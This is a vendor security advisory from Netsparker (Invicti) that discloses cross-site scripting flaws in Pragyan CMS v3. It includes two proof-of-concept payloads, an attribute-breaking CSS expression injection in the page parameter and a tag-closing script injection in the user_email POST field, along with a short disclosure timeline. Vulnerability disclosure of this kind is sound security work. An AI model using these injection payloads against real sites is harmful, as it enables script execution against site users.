Information
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Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in Pragyan CMS v3
Software: Pragyan CMS v3 and possibly below.
Vendor Homepage: https://github.com/delta/pragyan
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-016

Description 
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A simple and fast multiuser content management system to organize collaborative web-content.

Details
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Pragyan CMS is affected by XSS vulnerabilities in version v3.

Example PoC URLs are as follows :

  • Cross-site Scripting

    http://example.com/?page=' stYle=x:expre/**/ssion(alert(9)) onmouseover=' &action=login

    http://example.com/?page=/&action=login (POST : params : user_email)
    '"--></style></script><script>alert(0x0006DF)</script>

You can read the full article about Cross-site Scripting vulnerabilities from here :

Advisory Timeline
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03/03/2014 - First Contact (No reply)
08/04/2014 - Advisory Released

Credits
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It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.